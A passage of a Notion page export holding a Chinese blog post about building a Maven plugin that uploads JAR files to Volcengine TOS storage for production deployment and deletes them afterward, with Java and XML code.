-ad2b-2c61e18b529f"}},"0e0afcaa-99c1-49fd-a0b8-2d1147f9f562":{"value":{"id":"0e0afcaa-99c1-49fd-a0b8-2d1147f9f562","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049813,"last_edited_time":1723230049813,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"d6e79887-8ca1-47a2-aebb-2b8eb05d3388":{"value":{"id":"d6e79887-8ca1-47a2-aebb-2b8eb05d3388","type":"callout","properties":{"title":[["当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049812,"last_edited_time":1731227339135,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"4a162091-7b08-4895-b443-3f849a58b4cd":{"value":{"id":"4a162091-7b08-4895-b443-3f849a58b4cd","type":"header","properties":{"title":[["代码实现"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049813,"last_edited_time":1731227572617,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"122f5010-17f2-80d4-8f1d-c78728d3000e":{"value":{"id":"122f5010-17f2-80d4-8f1d-c78728d3000e","type":"text","properties":{"title":[["直接在idea新建maven项目这里不多赘述"]]},"created_time":1729159449830,"last_edited_time":1729159462718,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"122f5010-17f2-80cc-9fa7-ee7911b52bc6":{"value":{"id":"122f5010-17f2-80cc-9fa7-ee7911b52bc6","type":"sub_header","properties":{"title":[["引入依赖"]]},"created_time":1729159462909,"last_edited_time":1729159487391,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"122f5010-17f2-80b9-bac9-c7d23ec1bf13":{"value":{"id":"122f5010-17f2-80b9-bac9-c7d23ec1bf13","type":"code","properties":{"title":[["\n\n 4.0.0\n\n com.bothsavage\n jar2tos-plugin\n 1.0.0\n maven-plugin\n\n \n 8\n 8\n UTF-8\n \n\n \n \n \n org.apache.maven\n maven-plugin-api\n 3.8.1\n \n \n org.apache.maven.plugin-tools\n maven-plugin-annotations\n 3.2\n provided\n \n \n \n com.volcengine\n ve-tos-java-sdk\n 2.6.6\n \n \n\n \n \n \n org.apache.maven.plugins\n maven-plugin-plugin\n 3.6.0\n \n \n \n descriptor\n \n \n \n \n \n org.apache.maven.plugins\n maven-compiler-plugin\n 3.8.1\n \n 1.8\n 1.8\n \n \n \n \n \n \n \n \n \n repo-bothsvage\n https://packages.aliyun.com/x/x/repo-bothsvage\n \n \n \n"]],"language":[["XML"]]},"created_time":1729159489876,"last_edited_time":1729159685382,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"8b870674-284a-498b-8aec-1d0d6837238a":{"value":{"id":"8b870674-284a-498b-8aec-1d0d6837238a","type":"sub_header","properties":{"title":[["上传tos代码"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049812,"last_edited_time":1731227494023,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true,"copied_from":"10f81046-c412-4a78-b051-1cec7d572d9c"}},"13af5010-17f2-801d-a069-d5807f3ed9d7":{"value":{"id":"13af5010-17f2-801d-a069-d5807f3ed9d7","type":"code","properties":{"title":[["\n\nimport com.volcengine.tos.TOSV2;\nimport com.volcengine.tos.TOSV2ClientBuilder;\nimport com.volcengine.tos.TosClientException;\nimport com.volcengine.tos.TosServerException;\nimport com.volcengine.tos.comm.event.DataTransferListener;\nimport com.volcengine.tos.comm.event.DataTransferStatus;\nimport com.volcengine.tos.comm.event.DataTransferType;\nimport com.volcengine.tos.model.object.PutObjectInput;\nimport com.volcengine.tos.model.object.PutObjectOutput;\n\nimport org.apache.maven.plugin.AbstractMojo;\nimport org.apache.maven.plugin.MojoExecutionException;\nimport org.apache.maven.plugins.annotations.Mojo;\nimport org.apache.maven.plugins.annotations.Parameter;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\n@Mojo(name = \"upload\")\npublic class Upload extends AbstractMojo {\n\n @Parameter(property = \"upload-plugin-endpoint\", required = true)\n private String endpoint;\n\n @Parameter(property = \"upload-plugin-region\", required = true)\n private String region;\n\n @Parameter(property = \"upload-plugin-bucketName\", required = true)\n private String bucketName;\n\n @Parameter(property = \"upload-plugin-accessKey\", required = true)\n private String accessKey;\n\n @Parameter(property = \"upload-plugin-secretKey\", required = true)\n private String secretKey;\n\n @Parameter(defaultValue = \"${project.basedir}/target\", readonly = true)\n private File targetDirectory;\n\n @Parameter(property = \"profiles.nacosNameSpace\", required = false)\n private String profileId;\n\n @Override\n public void execute() throws MojoExecutionException {\n String timestamp = new SimpleDateFormat(\"yyyy-MM-dd-HH-mm-ss\").format(new Date());\n\n getLog().info(\"上传bucketName:\" + bucketName);\n getLog().info(\"上传endpoint:\" + endpoint);\n getLog().info(\"上传region:\" + region);\n\n\n File[] jarFiles = findJarFiles(targetDirectory);\n if (jarFiles == null || jarFiles.length == 0) {\n getLog().warn(\"这个目录没有jar包,忽略\");\n return;\n }\n\n TOSV2 tos = new TOSV2ClientBuilder().build(region, endpoint, accessKey, secretKey);\n\n for (File jarFile : jarFiles) {\n // 添加条件以仅上传特定的 JAR 文件\n if (!shouldUpload(jarFile.getName())) {\n continue;\n }\n\n getLog().info(\"开始上传:\" + jarFile.getName());\n\n try (FileInputStream inputStream = new FileInputStream(jarFile)) {\n String path = \"xxxx/\" + jarFile.getName();\n\n PutObjectInput putObjectInput = new PutObjectInput().setBucket(bucketName)\n .setKey(path)\n .setContent(inputStream)\n .setContentLength(jarFile.length());\n\n DataTransferListener listener = getDataTransferListener();\n putObjectInput.setDataTransferListener(listener);\n\n PutObjectOutput output = tos.putObject(putObjectInput);\n\n getLog().info(\n jarFile.getName().replace(\".jar\", \"\") + \":\\n\\nwget https://\" + bucketName + \".\" + endpoint.replace(\n \"volces\", \"ivolces\") + \"/\" + path + \"\\n\");\n } catch (IOException e) {\n getLog().error(\"putObject read file failed for \" + jarFile.getName(), e);\n } catch (TosClientException | TosServerException e) {\n getLog().error(\"putObject failed for \" + jarFile.getName(), e);\n } catch (Throwable t) {\n getLog().error(\"putObject failed for \" + jarFile.getName(), t);\n }\n }\n }\n\n private File[] findJarFiles(File directory) {\n return directory.listFiles((dir, name) -> name.endsWith(\".jar\"));\n }\n\n private boolean shouldUpload(String fileName) {\n // 定义允许上传的文件名称列表\n String[] allowedFiles = {\n \"xxx-xxxx.jar\"\n };\n\n // 检查文件名是否在允许列表中\n for (String allowedFile : allowedFiles) {\n if (fileName.equals(allowedFile)) {\n return true;\n }\n }\n return false;\n }\n\n private static DataTransferListener getDataTransferListener() {\n return dataTransferStatus -> {\n long totalBytes = dataTransferStatus.getTotalBytes();\n long consumedBytes = dataTransferStatus.getConsumedBytes();\n double percentage = (totalBytes > 0) ? (double) consumedBytes / totalBytes * 100 : 0;\n\n if (dataTransferStatus.getType() == DataTransferType.DATA_TRANSFER_STARTED) {\n System.out.println(\"上传开始。\");\n } else if (dataTransferStatus.getType() == DataTransferType.DATA_TRANSFER_RW) {\n System.out.printf(\"上传中,本次发送 %d 字节,已发送 %d 字节,总计 %d 字节。完成百分比:%.2f%%\\n\",\n dataTransferStatus.getRwOnceBytes(), consumedBytes, totalBytes, percentage);\n } else if (dataTransferStatus.getType() == DataTransferType.DATA_TRANSFER_FAILED) {\n System.out.printf(\"上传失败,已发送 %d 字节,总计 %d 字节。完成百分比:%.2f%%\\n\", consumedBytes, totalBytes,\n percentage);\n } else if (dataTransferStatus.getType() == DataTransferType.DATA_TRANSFER_SUCCEED) {\n System.out.printf(\"上传成功,已发送 %d 字节,总计 %d 字节。完成百分比:%.2f%%\\n\", consumedBytes, totalBytes,\n percentage);\n }\n };\n }\n\n}\n"]],"language":[["Java"]]},"created_time":1731227552699,"last_edited_time":1731229702555,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"13af5010-17f2-80d8-b9b2-db0138f64f31":{"value":{"id":"13af5010-17f2-80d8-b9b2-db0138f64f31","type":"sub_header","properties":{"title":[["删除临时文件"]]},"created_time":1731227494228,"last_edited_time":1731227549714,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"13af5010-17f2-8079-a27a-c0439bec7ae4":{"value":{"id":"13af5010-17f2-8079-a27a-c0439bec7ae4","type":"code","properties":{"title":[["\nimport com.volcengine.tos.TOSV2;\nimport com.volcengine.tos.TOSV2ClientBuilder;\nimport com.volcengine.tos.TosClientException;\nimport com.volcengine.tos.TosServerException;\nimport com.volcengine.tos.model.object.DeleteObjectInput;\nimport com.volcengine.tos.model.object.DeleteObjectOutput;\nimport com.volcengine.tos.model.object.ListObjectsType2Input;\nimport com.volcengine.tos.model.object.ListObjectsType2Output;\nimport com.volcengine.tos.model.object.PutObjectInput;\nimport com.volcengine.tos.model.object.PutObjectOutput;\n\nimport org.apache.maven.plugin.AbstractMojo;\nimport org.apache.maven.plugin.MojoExecutionException;\nimport org.apache.maven.plugins.annotations.Mojo;\nimport org.apache.maven.plugins.annotations.Parameter;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\n@Mojo(name = \"delete\")\npublic class Delete extends AbstractMojo {\n\n @Parameter(property = \"upload-plugin-endpoint\", required = true)\n private String endpoint;\n\n @Parameter(property = \"upload-plugin-region\", required = true)\n private String region;\n\n @Parameter(property = \"upload-plugin-bucketName\", required = true)\n private String bucketName;\n\n @Parameter(property = \"upload-plugin-accessKey\", required = true)\n private String accessKey;\n\n @Parameter(property = \"upload-plugin-secretKey\", required = true)\n private String secretKey;\n\n @Override\n public void execute() {\n\n String prefix = \"xxxx/\";\n\n TOSV2 tos = new TOSV2ClientBuilder().build(region, endpoint, accessKey, secretKey);\n\n try {\n boolean isTruncated = true;\n String continuationToken = null;\n while (isTruncated) {\n ListObjectsType2Input input = new ListObjectsType2Input().setBucket(bucketName)\n .setPrefix(prefix)\n .setContinuationToken(continuationToken);\n ListObjectsType2Output output = tos.listObjectsType2(input);\n if (output.getContents() != null) {\n for (int i = 0; i < output.getContents().size(); i++) {\n String objectKey = output.getContents().get(i).getKey();\n DeleteObjectInput deleteInput = new DeleteObjectInput().setBucket(bucketName)\n .setKey(output.getContents().get(i).getKey());\n tos.deleteObject(deleteInput);\n System.out.println(\"删除成功: \" + objectKey);\n }\n }\n isTruncated = output.isTruncated();\n continuationToken = output.getNextContinuationToken();\n }\n\n } catch (TosClientException e) {\n // 操作失败,捕获客户端异常,一般情况是请求参数错误,此时请求并未发送\n System.out.println(\"deleteObject failed\");\n System.out.println(\"Message: \" + e.getMessage());\n if (e.getCause() != null) {\n e.getCause().printStackTrace();\n }\n } catch (TosServerException e) {\n // 操作失败,捕获服务端异常,可以获取到从服务端返回的详细错误信息\n System.out.println(\"deleteObject failed\");\n System.out.println(\"StatusCode: \" + e.getStatusCode());\n System.out.println(\"Code: \" + e.getCode());\n System.out.println(\"Message: \" + e.getMessage());\n System.out.println(\"RequestID: \" + e.getRequestID());\n } catch (Throwable t) {\n // 作为兜底捕获其他异常,一般不会执行到这里\n System.out.println(\"deleteObject failed\");\n System.out.println(\"unexpected exception, message: \" + t.getMessage());\n }\n }\n\n}\n"]],"language":[["Java"]]},"created_time":1731227861482,"last_edited_time":1731228016202,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"13af5010-17f2-8020-a4e7-eb716b12570c":{"value":{"id":"13af5010-17f2-8020-a4e7-eb716b12570c","type":"header","properties":{"title":[["项目引入"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1731227888150,"last_edited_time":1731227901619,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"13af5010-17f2-8032-bd0b-cbe41eb14e1a":{"value":{"id":"13af5010-17f2-8032-bd0b-cbe41eb14e1a","type":"text","properties":{"title":[["上述插件项目打包后,引入业务项目pom中"]]},"created_time":1731227943581,"last_edited_time":1731228096044,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"13af5010-17f2-8054-8de4-f680f21295df":{"value":{"id":"13af5010-17f2-8054-8de4-f680f21295df","type":"code","properties":{"title":[["\t\n\t\t\n \n \n com.xxxxx\n jar2tos-plugin\n 1.0.0\n \n \n \n upload\n delete\n \n \n \n \n\t\t\n\t"]],"language":[["XML"]]},"created_time":1731227942639,"last_edited_time":1731228042560,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"13af5010-17f2-8036-a31c-f792d437effd":{"value":{"id":"13af5010-17f2-8036-a31c-f792d437effd","type":"code","properties":{"title":[["\n\t prod\n\t \n\t prod\n\t \n\t tos-xxx.volces.com\n\t tos-xxx\n\t xxxxx\n\t AKXXXX\n\t SKXXXX\n\t \n"]],"language":[["XML"]]},"created_time":1731228084677,"last_edited_time":1731228889049,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"13af5010-17f2-8034-8d95-d6df19164d5a":{"value":{"id":"13af5010-17f2-8034-8d95-d6df19164d5a","type":"code","properties":{"title":[["\n\n \n repo-xxx\n https://packages.xx.com/xx/maven/repo-xxx\n \n true\n \n \n true\n \n \n"]],"language":[["XML"]]},"created_time":1731229045401,"last_edited_time":1731229101570,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"13af5010-17f2-8056-9bf6-c1ad3db80e66":{"value":{"id":"13af5010-17f2-8056-9bf6-c1ad3db80e66","type":"header","properties":{"title":[["使用"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1731229124189,"last_edited_time":1731229233481,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"13af5010-17f2-801d-841e-da7129135e25":{"value":{"id":"13af5010-17f2-801d-841e-da7129135e25","type":"image","properties":{"size":[["541.0KB"]],"title":[["image.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a06c5536-0c8a-4f74-9c67-df9f85e025f6/image.png"]]},"format":{"block_width":2692,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a06c5536-0c8a-4f74-9c67-df9f85e025f6/image.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.462109955423477,"block_preserve_scale":true},"created_time":1731229540529,"last_edited_time":1731229545952,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true,"file_ids":["a06c5536-0c8a-4f74-9c67-df9f85e025f6"]}},"13af5010-17f2-803a-b6ad-d66c29d67436":{"value":{"id":"13af5010-17f2-803a-b6ad-d66c29d67436","type":"image","properties":{"size":[["726.2KB"]],"title":[["image.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/532f1712-5be4-47ba-9bca-73e66e219ace/image.png"]]},"format":{"block_width":2896,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/532f1712-5be4-47ba-9bca-73e66e219ace/image.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5421270718232044,"block_preserve_scale":true},"created_time":1731229483448,"last_edited_time":1731229489642,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true,"file_ids":["532f1712-5be4-47ba-9bca-73e66e219ace"]}},"13af5010-17f2-809d-b86a-cc2d83361453":{"value":{"id":"13af5010-17f2-809d-b86a-cc2d83361453","type":"code","properties":{"title":[["#上传完成会返回一个内网下载地址,直接复制到linux中执行\nwget https://xxxxx.tos-cn-xxx.ivolces.com/xxxx/oxxe-xxxx.jar"]],"language":[["Bash"]]},"created_time":1731229577432,"last_edited_time":1731229627412,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"d0a644a4-5ca8-40c2-92a7-1c4150d7d4f4":{"value":{"id":"d0a644a4-5ca8-40c2-92a7-1c4150d7d4f4","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049812,"last_edited_time":1723230049812,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"634cdefc-0b25-4a96-aee9-ed1be9dff899":{"value":{"id":"634cdefc-0b25-4a96-aee9-ed1be9dff899","type":"bulleted_list","properties":{"title":[["因为bucket是公共读,所以直接发版完成需要删除文件"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049812,"last_edited_time":1731229762679,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"13af5010-17f2-8065-9b7f-d02927ffe135":{"value":{"id":"13af5010-17f2-8065-9b7f-d02927ffe135","type":"bulleted_list","properties":{"title":[["bucket应该做权限认证访问,我偷懒没做,不要使用业务bucket问题不大"]]},"created_time":1731229762839,"last_edited_time":1731229796909,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"13af5010-17f2-8000-a37c-d2d5c53acd4d":{"value":{"id":"13af5010-17f2-8000-a37c-d2d5c53acd4d","type":"bulleted_list","properties":{"title":[["如果协同开发,plugin的插件仓库不配置无法拉取"]]},"created_time":1731229797094,"last_edited_time":1731229832050,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true}},"db2d1b2f-17ae-487a-8900-65a82b1f74fc":{"value":{"id":"db2d1b2f-17ae-487a-8900-65a82b1f74fc","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049813,"last_edited_time":1731229827489,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"e55dd58e-9515-4e20-bcc3-e225fecd9e9b":{"value":{"id":"e55dd58e-9515-4e20-bcc3-e225fecd9e9b","type":"column_list","content":["58749525-eced-4ba6-9050-5690e48b6904","242bb982-f6d2-478c-83e6-6e7514f93995","1ec37da1-4ec6-4e9a-9aca-e78a542b71a6"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049813,"last_edited_time":1723230049813,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"69ed510c-af04-4809-80e3-a7ebf346642a":{"value":{"id":"69ed510c-af04-4809-80e3-a7ebf346642a","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049813,"last_edited_time":1723230049813,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"58749525-eced-4ba6-9050-5690e48b6904":{"value":{"id":"58749525-eced-4ba6-9050-5690e48b6904","type":"column","content":["5720bcd9-8963-4fa5-8f93-c3a664424a91"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049813,"last_edited_time":1723230049813,"parent_id":"e55dd58e-9515-4e20-bcc3-e225fecd9e9b","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"242bb982-f6d2-478c-83e6-6e7514f93995":{"value":{"id":"242bb982-f6d2-478c-83e6-6e7514f93995","type":"column","content":["40a737e0-b731-4141-a81e-f9878ec01705","a5ee6df3-c52b-4267-90f8-06b67c29d737"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049813,"last_edited_time":1723230049813,"parent_id":"e55dd58e-9515-4e20-bcc3-e225fecd9e9b","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"1ec37da1-4ec6-4e9a-9aca-e78a542b71a6":{"value":{"id":"1ec37da1-4ec6-4e9a-9aca-e78a542b71a6","type":"column","content":["757e36fb-83e6-4aea-ad6b-de255b2980be"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049813,"last_edited_time":1723230049813,"parent_id":"e55dd58e-9515-4e20-bcc3-e225fecd9e9b","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"5720bcd9-8963-4fa5-8f93-c3a664424a91":{"value":{"id":"5720bcd9-8963-4fa5-8f93-c3a664424a91","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1723230049814,"last_edited_time":1723230049814,"parent_id":"58749525-eced-4ba6-9050-5690e48b6904","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"40a737e0-b731-4141-a81e-f9878ec01705":{"value":{"id":"40a737e0-b731-4141-a81e-f9878ec01705","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["b"],["i"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049814,"last_edited_time":1723230049814,"parent_id":"242bb982-f6d2-478c-83e6-6e7514f93995","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"a5ee6df3-c52b-4267-90f8-06b67c29d737":{"value":{"id":"a5ee6df3-c52b-4267-90f8-06b67c29d737","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049814,"last_edited_time":1723230049814,"parent_id":"242bb982-f6d2-478c-83e6-6e7514f93995","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"757e36fb-83e6-4aea-ad6b-de255b2980be":{"value":{"id":"757e36fb-83e6-4aea-ad6b-de255b2980be","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1723230049814,"last_edited_time":1723230049814,"parent_id":"1ec37da1-4ec6-4e9a-9aca-e78a542b71a6","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服